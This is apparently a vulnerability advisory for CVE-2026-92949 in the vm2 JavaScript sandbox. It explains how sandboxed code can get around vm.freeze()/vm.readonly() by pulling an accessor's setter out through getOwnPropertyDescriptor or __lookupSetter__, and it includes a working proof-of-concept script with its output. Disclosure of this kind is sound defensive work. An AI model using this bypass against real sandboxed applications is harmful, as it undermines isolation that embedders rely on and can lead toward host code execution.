CVE-2026-92949

Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, um Daten zu manipulieren, um einen Denial of Service Angriff durchzuführen und um beliebigen Programmcode auszuführen.

### Summary Untrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`. ### PoC ```js // poc.js 'use strict'; const { VM } = require('vm2'); let _level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return _level; }, set(v) { _level = String(v); }, enumerable: true, configurable: true, }); const vm = new VM(); vm.freeze(hostConfig, 'cfg'); // Baseline - documented barriers hold: vm.run(`cfg.level = 'via-set';`); vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`); console.log('after [[Set]]/defineProperty:', _level); // → "safe" // Bypass - sandbox mutates host via accessor descriptor: vm.run(` const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); `); console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED" // Variant - same sink via __lookupSetter__: vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`); console.log('after __lookupSetter__:', _level); // → "PWNED-2" ``` ```sh node poc.js ``` Observed output: ``` after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after __lookupSetter__: PWNED-2 ``` The first line shows `ReadOnlyHandler`'s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`. ### Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder. **Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise. **Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined. **Persistence**: as persistent as the host object (typically process-lifetime).